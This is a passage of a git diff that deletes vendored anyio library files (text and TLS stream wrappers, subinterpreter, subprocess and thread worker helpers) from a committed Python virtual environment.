listeners.extend(listener.listeners) - del listener.listeners[:] # type: ignore[attr-defined] - else: - listeners.append(listener) - - self.listeners = listeners - - async def serve( - self, handler: Callable[[T_Stream], Any], task_group: TaskGroup | None = None - ) -> None: - from .. import create_task_group - - async with create_task_group() as tg: - for listener in self.listeners: - tg.start_soon(listener.serve, handler, task_group) - - async def aclose(self) -> None: - for listener in self.listeners: - await listener.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - attributes: dict = {} - for listener in self.listeners: - attributes.update(listener.extra_attributes) - - return attributes diff --git a/venv/Lib/site-packages/anyio/streams/text.py b/venv/Lib/site-packages/anyio/streams/text.py deleted file mode 100644 index 296cd250459f3848bb333301fff1ac32973f219a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/text.py +++ /dev/null @@ -1,176 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "TextConnectable", - "TextReceiveStream", - "TextSendStream", - "TextStream", -) - -import codecs -import sys -from collections.abc import Callable, Mapping -from dataclasses import InitVar, dataclass, field -from typing import Any - -from ..abc import ( - AnyByteReceiveStream, - AnyByteSendStream, - AnyByteStream, - AnyByteStreamConnectable, - ObjectReceiveStream, - ObjectSendStream, - ObjectStream, - ObjectStreamConnectable, -) - -if sys.version_info >= (3, 12): - from typing import override -else: - from typing_extensions import override - - -@dataclass(eq=False) -class TextReceiveStream(ObjectReceiveStream[str]): - """ - Stream wrapper that decodes bytes to strings using the given encoding. - - Decoding is done using :class:`~codecs.IncrementalDecoder` which returns any - completely received unicode characters as soon as they come in. - - :param transport_stream: any bytes-based receive stream - :param encoding: character encoding to use for decoding bytes to strings (defaults - to ``utf-8``) - :param errors: handling scheme for decoding errors (defaults to ``strict``; see the - `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: - https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteReceiveStream - encoding: InitVar[str] = "utf-8" - errors: InitVar[str] = "strict" - _decoder: codecs.IncrementalDecoder = field(init=False) - - def __post_init__(self, encoding: str, errors: str) -> None: - decoder_class = codecs.getincrementaldecoder(encoding) - self._decoder = decoder_class(errors=errors) - - async def receive(self) -> str: - while True: - chunk = await self.transport_stream.receive() - decoded = self._decoder.decode(chunk) - if decoded: - return decoded - - async def aclose(self) -> None: - await self.transport_stream.aclose() - self._decoder.reset() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return self.transport_stream.extra_attributes - - -@dataclass(eq=False) -class TextSendStream(ObjectSendStream[str]): - """ - Sends strings to the wrapped stream as bytes using the given encoding. - - :param AnyByteSendStream transport_stream: any bytes-based send stream - :param str encoding: character encoding to use for encoding strings to bytes - (defaults to ``utf-8``) - :param str errors: handling scheme for encoding errors (defaults to ``strict``; see - the `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: - https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteSendStream - encoding: InitVar[str] = "utf-8" - errors: str = "strict" - _encoder: Callable[..., tuple[bytes, int]] = field(init=False) - - def __post_init__(self, encoding: str) -> None: - self._encoder = codecs.getencoder(encoding) - - async def send(self, item: str) -> None: - encoded = self._encoder(item, self.errors)[0] - await self.transport_stream.send(encoded) - - async def aclose(self) -> None: - await self.transport_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return self.transport_stream.extra_attributes - - -@dataclass(eq=False) -class TextStream(ObjectStream[str]): - """ - A bidirectional stream that decodes bytes to strings on receive and encodes strings - to bytes on send. - - Extra attributes will be provided from both streams, with the receive stream - providing the values in case of a conflict. - - :param AnyByteStream transport_stream: any bytes-based stream - :param str encoding: character encoding to use for encoding/decoding strings to/from - bytes (defaults to ``utf-8``) - :param str errors: handling scheme for encoding errors (defaults to ``strict``; see - the `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: - https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteStream - encoding: InitVar[str] = "utf-8" - errors: InitVar[str] = "strict" - _receive_stream: TextReceiveStream = field(init=False) - _send_stream: TextSendStream = field(init=False) - - def __post_init__(self, encoding: str, errors: str) -> None: - self._receive_stream = TextReceiveStream( - self.transport_stream, encoding=encoding, errors=errors - ) - self._send_stream = TextSendStream( - self.transport_stream, encoding=encoding, errors=errors - ) - - async def receive(self) -> str: - return await self._receive_stream.receive() - - async def send(self, item: str) -> None: - await self._send_stream.send(item) - - async def send_eof(self) -> None: - await self.transport_stream.send_eof() - - async def aclose(self) -> None: - await self._send_stream.aclose() - await self._receive_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - **self._send_stream.extra_attributes, - **self._receive_stream.extra_attributes, - } - - -class TextConnectable(ObjectStreamConnectable[str]): - def __init__(self, connectable: AnyByteStreamConnectable): - """ - :param connectable: the bytestream endpoint to wrap - - """ - self.connectable = connectable - - @override - async def connect(self) -> TextStream: - stream = await self.connectable.connect() - return TextStream(stream) diff --git a/venv/Lib/site-packages/anyio/streams/tls.py b/venv/Lib/site-packages/anyio/streams/tls.py deleted file mode 100644 index 282174c71d6d6672eaff99b919a0bb5cf7d418b2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/tls.py +++ /dev/null @@ -1,436 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "TLSAttribute", - "TLSConnectable", - "TLSListener", - "TLSStream", -) - -import logging -import re -import ssl -import sys -from collections.abc import Callable, Mapping -from dataclasses import dataclass -from functools import wraps -from ssl import SSLContext -from typing import Any, TypeAlias, TypeVar - -from .. import ( - BrokenResourceError, - EndOfStream, - aclose_forcefully, - get_cancelled_exc_class, - to_thread, -) -from .._core._typedattr import TypedAttributeSet, typed_attribute -from ..abc import ( - AnyByteStream, - AnyByteStreamConnectable, - ByteStream, - ByteStreamConnectable, - Listener, - TaskGroup, -) - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -if sys.version_info >= (3, 12): - from typing import override -else: - from typing_extensions import override - -T_Retval = TypeVar("T_Retval") -PosArgsT = TypeVarTuple("PosArgsT") -_PCTRTT: TypeAlias = tuple[tuple[str, str], ...] -_PCTRTTT: TypeAlias = tuple[_PCTRTT, ...] - - -class TLSAttribute(TypedAttributeSet): - """Contains Transport Layer Security related attributes.""" - - #: the selected ALPN protocol - alpn_protocol: str | None = typed_attribute() - #: the channel binding for type ``tls-unique`` - channel_binding_tls_unique: bytes = typed_attribute() - #: the selected cipher - cipher: tuple[str, str, int] = typed_attribute() - #: the peer certificate in dictionary form (see :meth:`ssl.SSLSocket.getpeercert` - # for more information) - peer_certificate: None | (dict[str, str | _PCTRTTT | _PCTRTT]) = typed_attribute() - #: the peer certificate in binary form - peer_certificate_binary: bytes | None = typed_attribute() - #: ``True`` if this is the server side of the connection - server_side: bool = typed_attribute() - #: ciphers shared by the client during the TLS handshake (``None`` if this is the - #: client side) - shared_ciphers: list[tuple[str, str, int]] | None = typed_attribute() - #: the :class:`~ssl.SSLObject` used for encryption - ssl_object: ssl.SSLObject = typed_attribute() - #: ``True`` if this stream does (and expects) a closing TLS handshake when the - #: stream is being closed - standard_compatible: bool = typed_attribute() - #: the TLS protocol version (e.g. ``TLSv1.2``) - tls_version: str = typed_attribute() - - -@dataclass(eq=False) -class TLSStream(ByteStream): - """ - A stream wrapper that encrypts all sent data and decrypts received data. - - This class has no public initializer; use :meth:`wrap` instead. - All extra attributes from :class:`~TLSAttribute` are supported. - - :var AnyByteStream transport_stream: the wrapped stream - - """ - - transport_stream: AnyByteStream - standard_compatible: bool - _ssl_object: ssl.SSLObject - _read_bio: ssl.MemoryBIO - _write_bio: ssl.MemoryBIO - - @classmethod - async def wrap( - cls, - transport_stream: AnyByteStream, - *, - server_side: bool | None = None, - hostname: str | None = None, - ssl_context: ssl.SSLContext | None = None, - standard_compatible: bool = True, - ) -> TLSStream: - """ - Wrap an existing stream with Transport Layer Security. - - This performs a TLS handshake with the peer. - - :param transport_stream: a bytes-transporting stream to wrap - :param server_side: ``True`` if this is the server side of the connection, - ``False`` if this is the client side (if omitted, will be set to ``False`` - if ``hostname`` has been provided, ``False`` otherwise). Used only to create - a default context when an explicit context has not been provided. - :param hostname: host name of the peer (if host name checking is desired) - :param ssl_context: the SSLContext object to use (if not provided, a secure - default will be created) - :param standard_compatible: if ``False``, skip the closing handshake when - closing the connection, and don't raise an exception if the peer does the - same - :raises ~ssl.SSLError: if the TLS handshake fails - - """ - if server_side is None: - server_side = not hostname - - if not ssl_context: - purpose = ( - ssl.Purpose.CLIENT_AUTH if server_side else ssl.Purpose.SERVER_AUTH - ) - ssl_context = ssl.create_default_context(purpose) - - # Re-enable detection of unexpected EOFs if it was disabled by Python - if hasattr(ssl, "OP_IGNORE_UNEXPECTED_EOF"): - ssl_context.options &= ~ssl.OP_IGNORE_UNEXPECTED_EOF - - bio_in = ssl.MemoryBIO() - bio_out = ssl.MemoryBIO() - - # Resolve international host names using IDNA 2008. - # Otherwise wrap_bio() would resolve them with IDNA 2003. - if hostname is not None: - from .._core._sockets import idna2008_resolve - - server_hostname: bytes | None = idna2008_resolve(hostname) - else: - server_hostname = None - - # External SSLContext implementations may do blocking I/O in wrap_bio(), - # but the standard library implementation won't - if type(ssl_context) is ssl.SSLContext: - ssl_object = ssl_context.wrap_bio( - bio_in, - bio_out, - server_side=server_side, - server_hostname=server_hostname, - ) - else: - ssl_object = await to_thread.run_sync( - ssl_context.wrap_bio, - bio_in, - bio_out, - server_side, - server_hostname, - None, - ) - - wrapper = cls( - transport_stream=transport_stream, - standard_compatible=standard_compatible, - _ssl_object=ssl_object, - _read_bio=bio_in, - _write_bio=bio_out, - ) - await wrapper._call_sslobject_method(ssl_object.do_handshake) - return wrapper - - async def _call_sslobject_method( - self, func: Callable[[Unpack[PosArgsT]], T_Retval], *args: Unpack[PosArgsT] - ) -> T_Retval: - while True: - try: - result = func(*args) - except ssl.SSLWantReadError: - try: - # Flush any pending writes first - if self._write_bio.pending: - await self.transport_stream.send(self._write_bio.read()) - - data = await self.transport_stream.receive() - except EndOfStream: - self._read_bio.write_eof() - except OSError as exc: - self._read_bio.write_eof() - self._write_bio.write_eof() - raise BrokenResourceError from exc - else: - self._read_bio.write(data) - except ssl.SSLWantWriteError: - await self.transport_stream.send(self._write_bio.read()) - except ssl.SSLSyscallError as exc: - self._read_bio.write_eof() - self._write_bio.write_eof() - raise BrokenResourceError from exc - except ssl.SSLError as exc: - self._read_bio.write_eof() - self._write_bio.write_eof() - if isinstance(exc, ssl.SSLEOFError) or ( - exc.strerror and "UNEXPECTED_EOF_WHILE_READING" in exc.strerror - ): - if self.standard_compatible: - raise BrokenResourceError from exc - else: - raise EndOfStream from None - - raise - else: - # Flush any pending writes first - if self._write_bio.pending: - await self.transport_stream.send(self._write_bio.read()) - - return result - - async def unwrap(self) -> tuple[AnyByteStream, bytes]: - """ - Does the TLS closing handshake. - - :return: a tuple of (wrapped byte stream, bytes left in the read buffer) - - """ - await self._call_sslobject_method(self._ssl_object.unwrap) - self._read_bio.write_eof() - self._write_bio.write_eof() - return self.transport_stream, self._read_bio.read() - - async def aclose(self) -> None: - if self.standard_compatible: - try: - await self.unwrap() - except BaseException: - await aclose_forcefully(self.transport_stream) - raise - - await self.transport_stream.aclose() - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - data = await self._call_sslobject_method(self._ssl_object.read, max_bytes) - if not data: - raise EndOfStream - - return data - - async def send(self, item: bytes) -> None: - await self._call_sslobject_method(self._ssl_object.write, item) - - async def send_eof(self) -> None: - tls_version = self.extra(TLSAttribute.tls_version) - match = re.match(r"TLSv(\d+)(?:\.(\d+))?", tls_version) - if match: - major, minor = int(match.group(1)), int(match.group(2) or 0) - if (major, minor) < (1, 3): - raise NotImplementedError( - f"send_eof() requires at least TLSv1.3; current " - f"session uses {tls_version}" - ) - - raise NotImplementedError( - "send_eof() has not yet been implemented for TLS streams" - ) - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - **self.transport_stream.extra_attributes, - TLSAttribute.alpn_protocol: self._ssl_object.selected_alpn_protocol, - TLSAttribute.channel_binding_tls_unique: ( - self._ssl_object.get_channel_binding - ), - TLSAttribute.cipher: self._ssl_object.cipher, - TLSAttribute.peer_certificate: lambda: self._ssl_object.getpeercert(False), - TLSAttribute.peer_certificate_binary: lambda: self._ssl_object.getpeercert( - True - ), - TLSAttribute.server_side: lambda: self._ssl_object.server_side, - TLSAttribute.shared_ciphers: lambda: ( - self._ssl_object.shared_ciphers() - if self._ssl_object.server_side - else None - ), - TLSAttribute.standard_compatible: lambda: self.standard_compatible, - TLSAttribute.ssl_object: lambda: self._ssl_object, - TLSAttribute.tls_version: self._ssl_object.version, - } - - -@dataclass(eq=False) -class TLSListener(Listener[TLSStream]): - """ - A convenience listener that wraps another listener and auto-negotiates a TLS session - on every accepted connection. - - If the TLS handshake times out or raises an exception, - :meth:`handle_handshake_error` is called to do whatever post-mortem processing is - deemed necessary. - - Supports only the :attr:`~TLSAttribute.standard_compatible` extra attribute. - - :param Listener listener: the listener to wrap - :param ssl_context: the SSL context object - :param standard_compatible: a flag passed through to :meth:`TLSStream.wrap` - :param handshake_timeout: time limit for the TLS handshake - (passed to :func:`~anyio.fail_after`) - """ - - listener: Listener[Any] - ssl_context: ssl.SSLContext - standard_compatible: bool = True - handshake_timeout: float = 30 - - @staticmethod - async def handle_handshake_error(exc: BaseException, stream: AnyByteStream) -> None: - """ - Handle an exception raised during the TLS handshake. - - This method does 3 things: - - #. Forcefully closes the original stream - #. Logs the exception (unless it was a cancellation exception) using the - ``anyio.streams.tls`` logger - #. Reraises the exception if it was a base exception or a cancellation exception - - :param exc: the exception - :param stream: the original stream - - """ - await aclose_forcefully(stream) - - # Log all except cancellation exceptions - if not isinstance(exc, get_cancelled_exc_class()): - # CPython (as of 3.11.5) returns incorrect `sys.exc_info()` here when using - # any asyncio implementation, so we explicitly pass the exception to log - # (https://github.com/python/cpython/issues/108668). Trio does not have this - # issue because it works around the CPython bug. - logging.getLogger(__name__).exception( - "Error during TLS handshake", exc_info=exc - ) - - # Only reraise base exceptions and cancellation exceptions - if not isinstance(exc, Exception) or isinstance(exc, get_cancelled_exc_class()): - raise - - async def serve( - self, - handler: Callable[[TLSStream], Any], - task_group: TaskGroup | None = None, - ) -> None: - @wraps(handler) - async def handler_wrapper(stream: AnyByteStream) -> None: - from .. import fail_after - - try: - with fail_after(self.handshake_timeout): - wrapped_stream = await TLSStream.wrap( - stream, - ssl_context=self.ssl_context, - standard_compatible=self.standard_compatible, - ) - except BaseException as exc: - await self.handle_handshake_error(exc, stream) - else: - await handler(wrapped_stream) - - await self.listener.serve(handler_wrapper, task_group) - - async def aclose(self) -> None: - await self.listener.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - TLSAttribute.standard_compatible: lambda: self.standard_compatible, - } - - -class TLSConnectable(ByteStreamConnectable): - """ - Wraps another connectable and does TLS negotiation after a successful connection. - - :param connectable: the connectable to wrap - :param hostname: host name of the server (if host name checking is desired) - :param ssl_context: the SSLContext object to use (if not provided, a secure default - will be created) - :param standard_compatible: if ``False``, skip the closing handshake when closing - the connection, and don't raise an exception if the server does the same - """ - - def __init__( - self, - connectable: AnyByteStreamConnectable, - *, - hostname: str | None = None, - ssl_context: ssl.SSLContext | None = None, - standard_compatible: bool = True, - ) -> None: - self.connectable = connectable - self.ssl_context: SSLContext = ssl_context or ssl.create_default_context( - ssl.Purpose.SERVER_AUTH - ) - if not isinstance(self.ssl_context, ssl.SSLContext): - raise TypeError( - "ssl_context must be an instance of ssl.SSLContext, not " - f"{type(self.ssl_context).__name__}" - ) - self.hostname = hostname - self.standard_compatible = standard_compatible - - @override - async def connect(self) -> TLSStream: - stream = await self.connectable.connect() - try: - return await TLSStream.wrap( - stream, - hostname=self.hostname, - ssl_context=self.ssl_context, - standard_compatible=self.standard_compatible, - ) - except BaseException: - await aclose_forcefully(stream) - raise diff --git a/venv/Lib/site-packages/anyio/to_interpreter.py b/venv/Lib/site-packages/anyio/to_interpreter.py deleted file mode 100644 index 694dbe77bc8581032ee72316afe4e0590311ba00..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/to_interpreter.py +++ /dev/null @@ -1,246 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "run_sync", - "current_default_interpreter_limiter", -) - -import atexit -import os -import sys -from collections import deque -from collections.abc import Callable -from typing import Any, Final, TypeVar - -from . import current_time, to_thread -from ._core._exceptions import BrokenWorkerInterpreter -from ._core._synchronization import CapacityLimiter -from .lowlevel import RunVar - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -if sys.version_info >= (3, 14): - from concurrent.interpreters import ExecutionFailed, create - - def _interp_call( - func: Callable[..., Any], args: tuple[Any, ...] - ) -> tuple[Any, bool]: - try: - retval = func(*args) - except BaseException as exc: - return exc, True - else: - return retval, False - - class _Worker: - last_used: float = 0 - - def __init__(self) -> None: - self._interpreter = create() - - def destroy(self) -> None: - self._interpreter.close() - - def call( - self, - func: Callable[..., T_Retval], - args: tuple[Any, ...], - ) -> T_Retval: - try: - res, is_exception = self._interpreter.call(_interp_call, func, args) - except ExecutionFailed as exc: - raise BrokenWorkerInterpreter(exc.excinfo) from exc - - if is_exception: - raise res - - return res -elif sys.version_info >= (3, 13): - import _interpqueues - import _interpreters - - UNBOUND: Final = 2 # I have no clue how this works, but it was used in the stdlib - FMT_UNPICKLED: Final = 0 - FMT_PICKLED: Final = 1 - QUEUE_PICKLE_ARGS: Final = (FMT_PICKLED, UNBOUND) - QUEUE_UNPICKLE_ARGS: Final = (FMT_UNPICKLED, UNBOUND) - - _run_func = compile( - """ -import _interpqueues -from _interpreters import NotShareableError -from pickle import loads, dumps, HIGHEST_PROTOCOL - -QUEUE_PICKLE_ARGS = (1, 2) -QUEUE_UNPICKLE_ARGS = (0, 2) - -item = _interpqueues.get(queue_id)[0] -try: - func, args = loads(item) - retval = func(*args) -except BaseException as exc: - is_exception = True - retval = exc -else: - is_exception = False - -try: - _interpqueues.put(queue_id, (retval, is_exception), *QUEUE_UNPICKLE_ARGS) -except NotShareableError: - retval = dumps(retval, HIGHEST_PROTOCOL) - _interpqueues.put(queue_id, (retval, is_exception), *QUEUE_PICKLE_ARGS) - """, - "", - "exec", - ) - - class _Worker: - last_used: float = 0 - - def __init__(self) -> None: - self._interpreter_id = _interpreters.create() - self._queue_id = _interpqueues.create(1, *QUEUE_UNPICKLE_ARGS) - _interpreters.set___main___attrs( - self._interpreter_id, {"queue_id": self._queue_id} - ) - - def destroy(self) -> None: - _interpqueues.destroy(self._queue_id) - _interpreters.destroy(self._interpreter_id) - - def call( - self, - func: Callable[..., T_Retval], - args: tuple[Any, ...], - ) -> T_Retval: - import pickle - - item = pickle.dumps((func, args), pickle.HIGHEST_PROTOCOL) - _interpqueues.put(self._queue_id, item, *QUEUE_PICKLE_ARGS) - exc_info = _interpreters.exec(self._interpreter_id, _run_func) - if exc_info: - raise BrokenWorkerInterpreter(exc_info) - - res = _interpqueues.get(self._queue_id) - (res, is_exception), fmt = res[:2] - if fmt == FMT_PICKLED: - res = pickle.loads(res) - - if is_exception: - raise res - - return res -else: - - class _Worker: - last_used: float = 0 - - def __init__(self) -> None: - raise RuntimeError("subinterpreters require at least Python 3.13") - - def call( - self, - func: Callable[..., T_Retval], - args: tuple[Any, ...], - ) -> T_Retval: - raise NotImplementedError - - def destroy(self) -> None: - pass - - -DEFAULT_CPU_COUNT: Final = 8 # this is just an arbitrarily selected value -MAX_WORKER_IDLE_TIME = ( - 30 # seconds a subinterpreter can be idle before becoming eligible for pruning -) - -T_Retval = TypeVar("T_Retval") -PosArgsT = TypeVarTuple("PosArgsT") - -_idle_workers = RunVar[deque[_Worker]]("_available_workers") -_default_interpreter_limiter = RunVar[CapacityLimiter]("_default_interpreter_limiter") - - -def _stop_workers(workers: deque[_Worker]) -> None: - for worker in workers: - worker.destroy() - - workers.clear() - - -async def run_sync( - func: Callable[[Unpack[PosArgsT]], T_Retval], - *args: Unpack[PosArgsT], - limiter: CapacityLimiter | None = None, -) -> T_Retval: - """ - Call the given function with the given arguments in a subinterpreter. - - .. warning:: On Python 3.13, the :mod:`concurrent.interpreters` module was not yet - available, so the code path for that Python version relies on an undocumented, - private API. As such, it is recommended to not rely on this function for anything - mission-critical on Python 3.13. - - :param func: a callable - :param args: the positional arguments for the callable - :param limiter: capacity limiter to use to limit the total number of subinterpreters - running (if omitted, the default limiter is used) - :return: the result of the call - :raises BrokenWorkerInterpreter: if there's an internal error in a subinterpreter - - """ - if limiter is None: - limiter = current_default_interpreter_limiter() - - try: - idle_workers = _idle_workers.get() - except LookupError: - idle_workers = deque() - _idle_workers.set(idle_workers) - atexit.register(_stop_workers, idle_workers) - - async with limiter: - try: - worker = idle_workers.pop() - except IndexError: - worker = _Worker() - - try: - return await to_thread.run_sync( - worker.call, - func, - args, - limiter=limiter, - ) - finally: - # Prune workers that have been idle for too long - now = current_time() - while idle_workers: - if now - idle_workers[0].last_used <= MAX_WORKER_IDLE_TIME: - break - - await to_thread.run_sync(idle_workers.popleft().destroy, limiter=limiter) - - worker.last_used = current_time() - idle_workers.append(worker) - - -def current_default_interpreter_limiter() -> CapacityLimiter: - """ - Return the capacity limiter used by default to limit the number of concurrently - running subinterpreters. - - Defaults to the number of CPU cores. - - :return: a capacity limiter object - - """ - try: - return _default_interpreter_limiter.get() - except LookupError: - limiter = CapacityLimiter(os.cpu_count() or DEFAULT_CPU_COUNT) - _default_interpreter_limiter.set(limiter) - return limiter diff --git a/venv/Lib/site-packages/anyio/to_process.py b/venv/Lib/site-packages/anyio/to_process.py deleted file mode 100644 index 8d356fbd2a3df39a9b44eacc3c6c924420c1a7b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/to_process.py +++ /dev/null @@ -1,269 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "current_default_process_limiter", - "process_worker", - "run_sync", -) - -import os -import pickle -import runpy -import subprocess -import sys -from collections import deque -from collections.abc import Callable -from types import ModuleType -from typing import TypeVar, cast - -from ._core._eventloop import current_time, get_async_backend, get_cancelled_exc_class -from ._core._exceptions import BrokenWorkerProcess -from ._core._subprocesses import open_process -from ._core._synchronization import CapacityLimiter -from ._core._tasks import CancelScope, fail_after -from .abc import ByteReceiveStream, ByteSendStream, Process -from .lowlevel import RunVar, checkpoint_if_cancelled -from .streams.buffered import BufferedByteReceiveStream - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -WORKER_MAX_IDLE_TIME = 300 # 5 minutes - -T_Retval = TypeVar("T_Retval") -PosArgsT = TypeVarTuple("PosArgsT") - -_process_pool_workers: RunVar[set[Process]] = RunVar("_process_pool_workers") -_process_pool_idle_workers: RunVar[deque[tuple[Process, float]]] = RunVar( - "_process_pool_idle_workers" -) -_default_process_limiter: RunVar[CapacityLimiter] = RunVar("_default_process_limiter") - - -async def run_sync( # type: ignore[return] - func: Callable[[Unpack[PosArgsT]], T_Retval], - *args: Unpack[PosArgsT], - cancellable: bool = False, - limiter: CapacityLimiter | None = None, -) -> T_Retval: - """ - Call the given function with the given arguments in a worker process. - - If the ``cancellable`` option is enabled and the task waiting for its completion is - cancelled, the worker process running it will be abruptly terminated using SIGKILL - (or ``terminateProcess()`` on Windows). - - :param func: a callable - :param args: positional arguments for the callable - :param cancellable: ``True`` to allow cancellation of the operation while it's - running - :param limiter: capacity limiter to use to limit the total amount of processes - running (if omitted, the default limiter is used) - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - :return: an awaitable that yields the return value of the function. - - """ - - async def send_raw_command(pickled_cmd: bytes) -> object: - try: - await stdin.send(pickled_cmd) - response = await buffered.receive_until(b"\n", 50) - status, length = response.split(b" ") - if status not in (b"RETURN", b"EXCEPTION"): - raise RuntimeError( - f"Worker process returned unexpected response: {response!r}" - ) - - pickled_response = await buffered.receive_exactly(int(length)) - except BaseException as exc: - workers.discard(process) - try: - process.kill() - with CancelScope(shield=True): - await process.aclose() - except ProcessLookupError: - pass - - if isinstance(exc, get_cancelled_exc_class()): - raise - else: - raise BrokenWorkerProcess from exc - - retval = pickle.loads(pickled_response) - if status == b"EXCEPTION": - assert isinstance(retval, BaseException) - raise retval - else: - return retval - - # First pickle the request before trying to reserve a worker process - await checkpoint_if_cancelled() - request = pickle.dumps(("run", func, args), protocol=pickle.HIGHEST_PROTOCOL) - - # If this is the first run in this event loop thread, set up the necessary variables - try: - workers = _process_pool_workers.get() - idle_workers = _process_pool_idle_workers.get() - except LookupError: - workers = set() - idle_workers = deque() - _process_pool_workers.set(workers) - _process_pool_idle_workers.set(idle_workers) - get_async_backend().setup_process_pool_exit_at_shutdown(workers) - - async with limiter or current_default_process_limiter(): - # Pop processes from the pool (starting from the most recently used) until we - # find one that hasn't exited yet - process: Process - while idle_workers: - process, idle_since = idle_workers.pop() - if process.returncode is None: - stdin = cast(ByteSendStream, process.stdin) - buffered = BufferedByteReceiveStream( - cast(ByteReceiveStream, process.stdout) - ) - - # Prune any other workers that have been idle for WORKER_MAX_IDLE_TIME - # seconds or longer - now = current_time() - killed_processes: list[Process] = [] - while idle_workers: - if now - idle_workers[0][1] < WORKER_MAX_IDLE_TIME: - break - - process_to_kill, idle_since = idle_workers.popleft() - process_to_kill.kill() - workers.remove(process_to_kill) - killed_processes.append(process_to_kill) - - with CancelScope(shield=True): - for killed_process in killed_processes: - await killed_process.aclose() - - break - - workers.remove(process) - else: - command = [sys.executable, "-u", "-m", __name__] - process = await open_process( - command, stdin=subprocess.PIPE, stdout=subprocess.PIPE - ) - try: - stdin = cast(ByteSendStream, process.stdin) - buffered = BufferedByteReceiveStream( - cast(ByteReceiveStream, process.stdout) - ) - with fail_after(20): - message = await buffered.receive(6) - - if message != b"READY\n": - raise BrokenWorkerProcess( - f"Worker process returned unexpected response: {message!r}" - ) - - main_module_path = getattr(sys.modules["__main__"], "__file__", None) - pickled = pickle.dumps( - ("init", sys.path, main_module_path), - protocol=pickle.HIGHEST_PROTOCOL, - ) - await send_raw_command(pickled) - except (BrokenWorkerProcess, get_cancelled_exc_class()): - raise - except BaseException as exc: - process.kill() - raise BrokenWorkerProcess( - "Error during worker process initialization" - ) from exc - - workers.add(process) - - with CancelScope(shield=not cancellable): - try: - return cast(T_Retval, await send_raw_command(request)) - finally: - if process in workers: - idle_workers.append((process, current_time())) - - -def current_default_process_limiter() -> CapacityLimiter: - """ - Return the capacity limiter that is used by default to limit the number of worker - processes. - - :return: a capacity limiter object - - """ - try: - return _default_process_limiter.get() - except LookupError: - limiter = CapacityLimiter(os.cpu_count() or 2) - _default_process_limiter.set(limiter) - return limiter - - -def process_worker() -> None: - # Redirect standard streams to os.devnull so that user code won't interfere with the - # parent-worker communication - stdin = sys.stdin - stdout = sys.stdout - sys.stdin = open(os.devnull) - sys.stdout = open(os.devnull, "w") - sys.stderr = open(os.devnull, "w") - - stdout.buffer.write(b"READY\n") - while True: - retval = exception = None - try: - command, *args = pickle.load(stdin.buffer) - except EOFError: - return - except BaseException as exc: - exception = exc - else: - if command == "run": - func, args = args - try: - retval = func(*args) - except BaseException as exc: - exception = exc - elif command == "init": - main_module_path: str | None - sys.path, main_module_path = args - del sys.modules["__main__"] - if main_module_path and os.path.isfile(main_module_path): - # Load the parent's main module but as __mp_main__ instead of - # __main__ (like multiprocessing does) to avoid infinite recursion - try: - main = ModuleType("__mp_main__") - main_content = runpy.run_path( - main_module_path, run_name="__mp_main__" - ) - main.__dict__.update(main_content) - sys.modules["__main__"] = sys.modules["__mp_main__"] = main - except BaseException as exc: - exception = exc - try: - if exception is not None: - status = b"EXCEPTION" - pickled = pickle.dumps(exception, pickle.HIGHEST_PROTOCOL) - else: - status = b"RETURN" - pickled = pickle.dumps(retval, pickle.HIGHEST_PROTOCOL) - except BaseException as exc: - exception = exc - status = b"EXCEPTION" - pickled = pickle.dumps(exc, pickle.HIGHEST_PROTOCOL) - - stdout.buffer.write(b"%s %d\n" % (status, len(pickled))) - stdout.buffer.write(pickled) - - # Respect SIGTERM - if isinstance(exception, SystemExit): - raise exception - - -if __name__ == "__main__": - process_worker() diff --git a/venv/Lib/site-packages/anyio/to_thread.py b/venv/Lib/site-packages/anyio/to_thread.py deleted file mode 100644 index a01f24f6e776ef30836fb5d82639776820bf194f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/to_thread.py +++ /dev/null @@ -1,80 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "run_sync", - "current_default_thread_limiter", -) - -import sys -from collections.abc import Callable -from typing import TYPE_CHECKING, TypeVar -from warnings import warn - -from ._core._eventloop import get_async_backend - -if TYPE_CHECKING: - from ._core._synchronization import CapacityLimiter - -if sys.version_info >= (3, 11): - from typing import TypeVarTuple, Unpack -else: - from typing_extensions import TypeVarTuple, Unpack - -T_Retval = TypeVar("T_Retval") -PosArgsT = TypeVarTuple("PosArgsT") - - -async def run_sync( - func: Callable[[Unpack[PosArgsT]], T_Retval], - *args: Unpack[PosArgsT], - abandon_on_cancel: bool = False, - cancellable: bool | None = None, - limiter: CapacityLimiter | None = None, -) -> T_Retval: - """ - Call the given function with the given arguments in a worker thread. - - If the ``abandon_on_cancel`` option is enabled and the task waiting for its - completion is cancelled, the thread will still run its course but its - return value (or any raised exception) will be ignored. - - :param func: a callable - :param args: positional arguments for the callable - :param abandon_on_cancel: ``True`` to abandon the 